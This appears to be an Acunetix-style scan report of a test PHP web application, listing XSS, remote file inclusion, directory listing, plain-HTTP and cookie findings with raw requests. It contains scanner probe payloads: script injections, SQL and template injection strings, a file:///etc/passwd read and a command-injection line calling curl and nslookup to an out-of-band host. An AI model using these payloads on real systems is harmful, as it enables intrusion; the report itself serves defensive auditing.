Excess XSS, a comprehensive tutorial on cross-site scripting (https://excess-xss.com/)
Cross site scripting (https://en.wikipedia.org/wiki/Cross-site_scripting)

Affected items

/guestbook.php

Verified vulnerability

Details

URL encoded POST input **comment** was set to **'"()&%<zzz><ScRiPt >5upu(9765)</ScRiPt>**

Request headers

```
POST /guestbook.php HTTP/1.1
Referer: http://92.51.39.106:8050/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive

comment='"()%26%25<zzz><ScRiPt%20>5upu(9765)</ScRiPt>&name=RDFYjolf
```

/piccheck.php

Verified vulnerability

Details

POST (multipart) input **name** was set to **RDFYjolf'"()&%<zzz><ScRiPt >ysuL(9776)</ScRiPt>**

Request headers

```
POST /piccheck.php HTTP/1.1
Referer: http://92.51.39.106:8050/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
Content-Length: 363
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="MAX_FILE_SIZE"

30000
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="name"

RDFYjolf'"()&%<zzz><ScRiPt >ysuL(9776)</ScRiPt>
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="userfile"; filename="file.txt"
Content-Type: text/plain


------------YWJkMTQzNDcw--
```

/pictures/search.php

Verified vulnerability

Details

URL encoded GET input **query** was set to **1'"()&%<zzz><ScRiPt >Oria(9942)</ScRiPt>**

Request headers

```
GET /pictures/search.php?query=1'"()%26%25<zzz><ScRiPt%20>Oria(9942)</ScRiPt> HTTP/1.1
Referer: http://92.51.39.106:8050/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

/test.php

Verified vulnerability

Details

URL encoded GET input **title** was set to **1</title><ScRiPt >tbzh(9336)</ScRiPt>**

Request headers

```
GET /test.php?title=1</title><ScRiPt%20>tbzh(9336)</ScRiPt> HTTP/1.1
Referer: http://92.51.39.106:8050/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

/users/login.php

Verified vulnerability

Details

URL encoded POST input **username** was set to **RDFYjolf'"()&%<zzz><ScRiPt >fH02(9191)</ScRiPt>**

Request headers

```
POST /users/login.php HTTP/1.1
Referer: http://92.51.39.106:8050/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive

password=u]H[ww6KrA9F.x-F&username=RDFYjolf'"()%26%25<zzz><ScRiPt%20>fH02(9191)</ScRiPt>
```

Local File Inclusion

Severity	**High**
Reported by module	/Scripts/PerScheme/File_Inclusion.script

Description

This script is vulnerable to file inclusion attacks.

The script was found to reference and potentially retrieve files from user-specified locations. User input is not sufficiently validated or sanitized prior to being passed to the vulnerable script's include function.

Impact

It is possible for a remote attacker to include a file from local or remote resources and/or execute arbitrary script code with the privileges of the web-server.

Recommendation

Edit the source code to ensure that input is properly validated. Where is possible, it is recommended to make a list of accepted filenames and restrict the input to that list.

For PHP, the option **allow_url_fopen** would normally allow a programmer to open, include or otherwise use a remote file using a URL rather than a local file path. It is recommended to disable this option from php.ini.

References

PHP - Using remote files (https://www.php.net/manual/en/features.remote-files.php)
OWASP PHP Top 5 (https://www.owasp.org/index.php/PHP_Top_5)
Remote file inclusion (https://en.wikipedia.org/wiki/Remote_file_inclusion)

Affected items

/admin/

Details

URL encoded GET input **page** was set to **http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg**

Pattern found:

```
Failed opening required 'http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg.php'
```

Request headers

```
GET /admin/?page=http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg HTTP/1.1
Referer: http://92.51.39.106:8050/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

/admin/index.php

Details

URL encoded GET input **page** was set to **http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg**

Pattern found:

```
Failed opening required 'http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg.php'
```

Request headers

```
GET /admin/index.php?page=http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
HTTP/1.1
Referer: http://92.51.39.106:8050/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Directory listings

Severity	**Medium**
Reported by module	/Scripts/PerFolder/Directory_Listing.script

Description

Directory listing is a web server function that displays the directory contents when there is no index file in a specific website directory. It is dangerous to leave this function turned on for the web server because it leads to information disclosure.

Impact

A user can view a list of all files from the affected directories possibly exposing sensitive information.

Recommendation

You should make sure no sensitive information is disclosed or you may want to restrict directory listings from the web server configuration.

References

CWE-548: Exposure of Information Through Directory Listing (https://cwe.mitre.org/data/definitions/548.html)

Affected items

Web Server
Verified vulnerability
Details

Folders with directory listing enabled:

- http://92.51.39.106:8050/css/
- http://92.51.39.106:8050/css/blueprint/
- http://92.51.39.106:8050/pictures/
- http://92.51.39.106:8050/users/
- http://92.51.39.106:8050/upload/
- http://92.51.39.106:8050/upload/11111111/
- http://92.51.39.106:8050/images/
- http://92.51.39.106:8050/cart/
- http://92.51.39.106:8050/images/menu/
- http://92.51.39.106:8050/css/blueprint/src/
- http://92.51.39.106:8050/upload/doggie/
- http://92.51.39.106:8050/upload/m,m/
- http://92.51.39.106:8050/upload/flowers/
- http://92.51.39.106:8050/upload/house/
- http://92.51.39.106:8050/upload/toga/
- http://92.51.39.106:8050/comments/
- http://92.51.39.106:8050/upload/17/
- http://92.51.39.106:8050/upload/waterfall/
- http://92.51.39.106:8050/upload/!(()&&!|*|*|/
- http://92.51.39.106:8050/upload/"+"A".concat(70-3).concat(22*4).concat(103).concat(82).concat(105).concat(87)+(require"socket"%0ASocket.gethostbyname("hitum"+"hyzuhobdc8efa.bxss.me.")[3].to_s)+"/
- http://92.51.39.106:8050/upload/"+response.write(9244914*9055729)+"/

Request headers

```
GET /css/ HTTP/1.1
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Insecure HTTP Usage

Severity	**Medium**
Reported by module	/target/http_redirections.js

Description

It was detected that your web application uses HTTP protocol, but doesn't automatically redirect users to HTTPS.

Impact

In some circumstances, it could be used for a man-in-the-middle (MitM) attack

Recommendation

It's recommended to implement best practices of HTTP Redirection into your web application. Consult web references for more information

References

HTTP Redirections (https://infosec.mozilla.org/guidelines/web_security#http-redirections)

Affected items

Web Server

Details

Request headers

```
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Multiple vulnerabilities fixed in PHP versions 5.5.12 and 5.4.28

Severity	**Medium**
Reported by module	/Scripts/PerServer/Version_Check.script

Description

List of vulnerabilities that were fixed in PHP versions 5.5.12 and 5.4.28:

Core:

- Fixed bug #61019 (Out of memory on command stream_get_contents).
- Fixed bug #64330 (stream_socket_server() creates wrong Abstract Namespace UNIX sockets).
- Fixed bug #66182 (exit in stream filter produces segfault).
- Fixed bug #66736 (fpassthru broken).
- Fixed bug #67024 (getimagesize should recognize BMP files with negative height).
- Fixed bug #67043 (substr_compare broke by previous change).

cURL:

- Fixed bug #66562 (curl_exec returns differently than curl_multi_getcontent).

Date:

- Fixed bug #66721 (__wakeup of DateTime segfaults when invalid object data is supplied).

Embed:

- Fixed bug #65715 (php5embed.lib isn't provided anymore).

Fileinfo:

- Fixed bug #66987 (Memory corruption in fileinfo ext / bigendian).

FPM:

- Fixed bug #66482 (unknown entry 'priority' in php-fpm.conf).
- Fixed bug #67060 (possible privilege escalation due to insecure default configuration). (CVE-2014-0185)).

Json:

- Fixed bug #66021 (Blank line inside empty array/object when JSON_PRETTY_PRINT is set).

LDAP:

- Fixed issue with null bytes in LDAP bindings.

mysqli:

- Fixed problem in mysqli_commit()/mysqli_rollback() with second parameter (extra comma) and third parameters (lack of escaping).

Openssl:

- Fixed bug #66942 (memory leak in openssl_seal()).
- Fixed bug #66952 (memory leak in openssl_open()).

SimpleXML:

- Fixed bug #66084 (simplexml_load_string() mangles empty node name).

SQLite:

- Fixed bug #66967 (Updated bundled libsqlite to 3.8.4.3)

XSL:

- Fixed bug #53965 (<xsl:include> cannot find files with relative paths when loaded with "file://")

Apache2 Handler SAPI:

- Fixed Apache log issue caused by APR's lack of support for %zu (APR issue https://issues.apache.org/bugzilla/show_bug.cgi?id=56120)

Impact

Multiple vulnerabilities were fixed with this update (impact is different for each vulnerability).

Recommendation

Upgrade to the latest version of PHP.

References

PHP 5 ChangeLog (https://www.php.net/ChangeLog-5.php#5.5.12)
CVE-2014-0185 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0185)

Affected items

Web Server
Details
Request headers

Password transmitted over HTTP

Severity	**Medium**
Reported by module	/Crawler/12-Crawler_User_Credentials_Plain_Text.js

Description

User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.

Impact

A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.

Recommendation

Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).

References

Password Transmitted over HTTP | Invicti (https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/password-transmitted-over-http/)

Affected items

Web Server
Details

Forms with credentials sent in clear text:

- http://92.51.39.106:8050/admin/index.php

```
Form name: <empty>
Form action: /admin/index.php?page=login
Form method: POST
Password input: password
```

- http://92.51.39.106:8050/users/login.php

```
Form name: <empty>
Form action: /users/login.php
Form method: POST
Password input: password
```

- http://92.51.39.106:8050/users/register.php

```
Form name: <empty>
Form action: /users/register.php
Form method: POST
Password input: password
```

- http://92.51.39.106:8050/passcheck.php

```
Form name: <empty>
Form action: /passcheck.php
Form method: POST
Password input: password
```

Request headers

```
GET /admin/index.php?page=login HTTP/1.1
Referer: http://92.51.39.106:8050/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

SSL/TLS Not Implemented

Severity	**Medium**
Reported by module	/RPA/no_https.js

Description

This scan target was connected to over an unencrypted connection. A potential attacker can intercept and modify data sent and received from this site.

Impact

Possible information disclosure.

Recommendation

The site should send and receive data over a secure (HTTPS) connection.

References

SSL/TLS Not Implemented | Invicti (https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/ssltls-not-implemented/)

Affected items

Web Server

Verified vulnerability

Details

Request headers

```
GET / HTTP/1.1
Referer: http://92.51.39.106:8050/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Source code disclosures

Severity	**Medium**
Reported by module	/httpdata/text_search.js

Description

One or more pages disclosing source code were found. This check is using pattern matching to determine if server side tags are found in the file. In some cases this alert may generate false positives.

Impact

An attacker can gather sensitive information (database connection strings, application logic) by analyzing the source code. This information can be used to conduct further attacks.

Recommendation

Remove these file(s) from your website or change their permissions to remove access.

References

Why is Source Code Disclosure Dangerous? (https://www.acunetix.com/blog/articles/source-code-disclosure-dangerous/)
CWE-540: Inclusion of Sensitive Information in Source Code (https://cwe.mitre.org/data/definitions/540.html)

Affected items

Web Server

Details

Pages with source code disclosed:

- http://92.51.39.106:8050/guestbook.php

```
<?php print(md5(31337));?></p>
        <p> - by RDFYjolf </p>
                <p class="comment">555"&&sleep(27*1000)*zzvqsn&&"</p>
        <p> - by RDFYjolf </p>
                <p class="comment">555</p>
        <p> - by RDFYjolf&lt;ScRiPt
&gt;5upu(9649)&lt;/ScRiPt&gt; </p>
                <p class="comment">555GQh2AHiq' OR 108=(SELECT 108 FROM PG_SLEEP(15))--</p>
        <p> - by RDFYjolf </p>
                <p class="comment">'{${print(md5(31337))}}'</p>
        <p> - by RDFYjolf </p>
                <p class="comment">-1" OR 3+160-160-1=0+0+0+1 -- </p>
        <p> - by RDFYjolf </p>
                <p class="comment">"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")</p>
        <p> - by RDFYjolf </p>
                <p class="comment">555</p>
        <p> - by ${10000326+9999551} </p>
                <p class="comment">555</p>
        <p> - by file:///etc/passwd </p>
                <p class="comment">555</p>
        <p> - by (nslookup -q=cname hiteypbeznuoi1c213.bxss.me||curl hiteypbeznuoi1c213.bxss.me)) </p>
                <p class="comment">http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycja
        <p> - by RDFYjolf </p>
                <p class="comment">555</p>
        <p> - by R
```

Request headers

```
POST /guestbook.php HTTP/1.1
Referer: https://www.google.com/search?hl=en&q=testing
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Content-Length: 0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Cookies Not Marked as HttpOnly

Severity	**Low**
Reported by module	/RPA/Cookie_Without_HttpOnly.js

Description

One or more cookies don't have the HttpOnly flag set. When a cookie is set with the HttpOnly flag, it instructs the browser that the cookie can only be accessed by the server and not by client-side scripts. This is an important security protection for session cookies.

Impact

Cookies can be accessed by client-side scripts.

Recommendation

If possible, you should set the HttpOnly flag for these cookies.

References

[Cookie Not Marked as HttpOnly | Invicti](https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/cookie-not-marked-as-httponly/) (https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/cookie-not-marked-as-httponly/)

Affected items

Web Server

Verified vulnerability

Details

Cookies without HttpOnly flag set:

- http://92.51.39.106:8050/

```
Set-Cookie: PHPSESSID=2becirbtg1ckjq0ceegt6rh697; path=/
```

Request headers

```
GET / HTTP/1.1
Referer: http://92.51.39.106:8050/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Cookies with missing, inconsistent or contradictory properties

Severity	**Low**
Reported by module	/RPA/Cookie_Validator.js

Description

At least one of the following cookies properties causes the cookie to be invalid or incompatible with either a different property of the same cookie, of with the environment the cookie is being used in. Although this is not a vulnerability in itself, it will likely lead to unexpected behavior by the application, which in turn may cause secondary security issues.

Impact

Cookies will not be stored, or submitted, by web browsers.

Recommendation

Ensure that the cookies configuration complies with the applicable standards.

References

[MDN | Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie) (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie)
[Securing cookies with cookie prefixes](https://www.sjoerdlangkemper.nl/2017/02/09/cookie-prefixes/) (https://www.sjoerdlangkemper.nl/2017/02/09/cookie-prefixes/)
[Cookies: HTTP State Management Mechanism](https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05) (https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05)
[SameSite Updates - The Chromium Projects](https://www.chromium.org/updates/same-site) (https://www.chromium.org/updates/same-site)
[draft-west-first-party-cookies-07: Same-site Cookies](https://tools.ietf.org/html/draft-west-first-party-cookies-07) (https://tools.ietf.org/html/draft-west-first-party-cookies-07)

Affected items

Web Server

Verified vulnerability

Details

List of cookies with missing, inconsistent or contradictory properties:

- http://92.51.39.106:8050/

  Cookie was set with:

  ```
  Set-Cookie: PHPSESSID=2becirbtg1ckjq0ceegt6rh697; path=/
  ```

  This cookie has the following issues:

  ```
   - Cookie without SameSite attribute.
  When cookies lack the SameSite attribute, Web browsers may apply different and sometimes unexpected defa
  ```

Request headers

```
GET / HTTP/1.1
Referer: http://92.51.39.106:8050/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Missing Content-Type Header

Severity	**Low**
Reported by module	/RPA/Content_Type_Missing.js

Description

These page(s) does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.

Impact

None

Recommendation

Set a Content-Type header value for these page(s).

References

[Missing Content-Type Header Detected on Web Application - Invicti](https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/)(https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/)

Affected items

Web Server

Verified vulnerability

Details

Pages where the content-type header is not specified:

- http://92.51.39.106:8050/upload/11111111/111111
- http://92.51.39.106:8050/upload/house/My_House
- http://92.51.39.106:8050/upload/house/hodjjgld
- http://92.51.39.106:8050/upload/house/our_house

Request headers

```
GET /upload/11111111/111111 HTTP/1.1
Referer: http://92.51.39.106:8050/upload/11111111/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Possible sensitive directories

Severity	**Low**
Reported by module	/Scripts/PerFolder/Possible_Sensitive_Directories.script

Description

One or more possibly sensitive directories were found. These resources are not directly linked from the website. This check looks for common sensitive resources like backup directories, database dumps, administration pages, temporary directories. Each one of these directories could help an attacker to learn more about his target.

Impact

These directories may expose sensitive information that could help a malicious user to prepare more advanced attacks.

Recommendation

Restrict access to these directories or remove them from the website.

References

[Web Server Security and Database Server Security](https://www.acunetix.com/websitesecurity/webserver-security/)(https://www.acunetix.com/websitesecurity/webserver-security/)

Affected items

Web Server

Details

Possible sensitive directories:

- http://92.51.39.106:8050/**upload**
- http://92.51.39.106:8050/**admin**
- http://92.51.39.106:8050/**users**

Request headers

```
GET /upload/ HTTP/1.1
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Possible sensitive files

Severity	**Low**
Reported by module	/Scripts/PerFolder/Possible_Sensitive_Files.script

Description

A possible sensitive file has been found. This file is not directly linked from the website. This check looks for common sensitive resources like password files, configuration files, log files, include files, statistics data, database dumps. Each one of these files could help an attacker to learn more about his target.

Impact

This file may expose sensitive information that could help a malicious user to prepare more advanced attacks.

Recommendation

Restrict access to this file or remove it from the website.

References

Web Server Security and Database Server Security (https://www.acunetix.com/websitesecurity/webserver-security/)

Affected items

Web Server

Details

Possible sensitive files:

- http://92.51.39.106:8050/**test.php**

Request headers

```
GET /test.php HTTP/1.1
Accept: xamobmri/qyvc
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Programming Error Messages

Severity	**Low**
Reported by module	/Scripts/PerScheme/Error_Message.script

Description

This alert requires manual confirmation

Acunetix found one or more error/warning messages. Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.
These messages may also contain the location of the file that produced an unhandled exception.
Consult the 'Attack details' section for more information about the affected page(s).

Impact

Error messages may disclose sensitive information which can be used to escalate attacks.

Recommendation

Verify that these page(s) are disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.

References

PHP Runtime Configuration (https://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)
Improper Error Handling (https://www.owasp.org/index.php/Improper_Error_Handling)

Affected items

Web Server
Details

Application error messages:

- http://92.51.39.106:8050/admin/index.php
  Fatal error

- http://92.51.39.106:8050/admin/index.php
  <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>/app/include/admins.php</b> on line <b>82</b><br />

- http://92.51.39.106:8050/admin/index.php
  <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>/app/include/admins.php</b> on line <b>83</b><br />

- http://92.51.39.106:8050/pictures/search.php
  <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>/app/include/pictures.php</b> on line <b>75</b><br />

- http://92.51.39.106:8050/users/sample.php
  <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>/app/include/users.php</b> on line <b>18</b><br />

- http://92.51.39.106:8050/guestbook.php
  <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>/app/include/guestbook.php</b> on line <b>39</b><br />

- http://92.51.39.106:8050/guestbook.php
  <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>/app/include/guestbook.php</b> on line <b>38</b><br />

- http://92.51.39.106:8050/calendar.php
  <b>Warning</b>: date() expects parameter 2 to be long, string given in <b>/app/calendar.php</b> on line <b>13</b><br />

- http://92.51.39.106:8050/users/login.php
  <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>/app/include/users.php</b> on line <b>91</b><br />

- http://92.51.39.106:8050/users/login.php
  You have an error in your SQL syntax

- http://92.51.39.106:8050/admin/
  Fatal error

- http://92.51.39.106:8050/admin/
  <b>Warning</b>: require_once(1.php): failed to open stream: No such file or directory in <b>/app/admin/index.php</b> on line <b>4</b><br />

- http://92.51.39.106:8050/admin/
  <b>Fatal error</b>: require_once(): Failed opening required '1.php' (include_path='.:/usr/share/php:/usr/share/pear') in <b>/app/admin/index.php</b> on line <b>4</b><br />

- http://92.51.39.106:8050/pictures/upload.php
  <b>Warning</b>: imagecreatefromjpeg(): '../upload/17/RDFYjolf' is not a valid JPEG file in <b>/app/include/pictures.php</b> on line <b>231</b><br />

- http://92.51.39.106:8050/admin/
  <b>Warning</b>: require_once(.php): failed to open stream: No such file or directory in <b>/app/admin/index.php</b> on line <b>4</b><br />

- http://92.51.39.106:8050/admin/
  <b>Fatal error</b>: require_once(): Failed opening required '.php' (include_path='.:/usr/share/php:/usr/share/pear') in <b>/app/admin/index.php</b> on line <b>4</b><br />

- http://92.51.39.106:8050/error.php
  <b>Warning</b>: htmlspecialchars() expects parameter 1 to be string, array given in <b>/app/include/functions.php</b> on line <b>36</b><br />

- http://92.51.39.106:8050/users/register.php
  <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>/app/include/users.php</b> on line <b>47</b><br />

- http://92.51.39.106:8050/users/register.php
  <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>/app/include/users.php</b> on line <b>48</b><br />

- http://92.51.39.106:8050/users/register.php
  <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>/app/include/users.php</b> on line <b>45</b><br />

- http://92.51.39.106:8050/admin/index.php
  <b>Warning</b>: require_once(.php): failed to open stream: No such file or directory in <b>/app/admin/index.php</b> on line <b>4</b><br />

Request headers

```
GET /admin/index.php?page= HTTP/1.1
Referer: http://92.51.39.106:8050/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Version Disclosure (PHP)

Severity	**Low**
Reported by module	/Scripts/PerServer/Version_Check.script

Description

The web server is sending the X-Powered-By: response headers, revealing the PHP version.

Impact

An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.

Recommendation

Configure your web server to prevent information leakage from its HTTP response.

References

PHP Documentation: header_remove() (https://www.php.net/manual/en/function.header-remove.php)
PHP Documentation: php.ini directive expose_php (https://www.php.net/manual/en/ini.core.php#ini.expose-php)

Affected items

Web Server
Details
Version detected: **PHP/5.5.9-1ubuntu4.29**.
Request headers

Content Security Policy (CSP) Not Implemented

Severity	**Informational**
Reported by module	/httpdata/CSP_not_implemented.js

Description

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.

Content Security Policy (CSP) can be implemented by adding a **Content-Security-Policy** header. The value of this header is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP header could look like the following:

```
Content-Security-Policy:
    default-src 'self';
    script-src 'self' https://code.jquery.com;
```

It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing from the response. It's recommended to implement Content Security Policy (CSP) into your web application.

Impact

CSP can be used to prevent and/or mitigate attacks that involve content/code injection, such as cross-site scripting/XSS attacks, attacks that require embedding a malicious resource, attacks that involve malicious use of iframes, such as clickjacking attacks, and others.

Recommendation

It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security Policy involves adding the **Content-Security-Policy** HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page.

References

Content Security Policy (CSP) (https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
Implementing Content Security Policy (https://hacks.mozilla.org/2016/02/implementing-content-security-policy/)

Affected items

Web Server
Details

Paths without CSP header:

- http://92.51.39.106:8050/
- http://92.51.39.106:8050/admin/index.php
- http://92.51.39.106:8050/pictures/search.php
- http://92.51.39.106:8050/users/sample.php
- http://92.51.39.106:8050/upload/11111111/
- http://92.51.39.106:8050/calendar.php
- http://92.51.39.106:8050/guestbook.php
